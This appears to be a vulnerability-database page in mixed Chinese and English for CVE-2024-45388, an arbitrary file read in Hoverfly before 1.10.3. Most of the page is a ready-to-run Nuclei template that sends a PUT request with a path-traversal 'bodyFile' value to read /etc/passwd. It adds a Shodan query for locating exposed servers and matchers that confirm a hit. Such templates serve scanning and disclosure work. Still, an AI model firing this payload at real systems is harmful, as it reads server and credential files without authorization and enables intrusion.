CVE-2024-45388: Hoverfly < 1.10.3 - Arbitrary File Read

日期: 2025-08-01 | 影响软件: Hoverfly | POC: 已公开

漏洞描述

Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.

PoC代码[已公开]

id: CVE-2024-45388

info:
  name: Hoverfly < 1.10.3 - Arbitrary File Read
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.
  reference:
    - https://github.com/advisories/GHSA-6xx4-x46f-f897
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45388
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-45388
    cwe-id: CWE-20
    epss-score: 0.91503
    epss-percentile: 0.99658
  metadata:
    max-request: 1
    verified: true
    shodan-query: http.favicon.hash:1357234275
  tags: cve,cve2024,hoverfly,lfi,intrusive,vkev

http:
  - raw:
      - |
        PUT /api/v2/simulation HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {"data":{"pairs":[{"request":{},"response":{"bodyFile": "../../../../../../../etc/passwd","x":"aaa"}} ]},"meta":{"schemaVersion":"v5.3"}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - 'hoverflyVersion'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210090f1762aab52db0629b393902a0fe1fe75a8d9140d3ce6f8251b5c30a780729402210087ab16d8cf251c96912dcbeea0cbf37f994018cc7feba12e31748371a28506f0:922c64590222798bb761d5b6d8e72950

相关漏洞推荐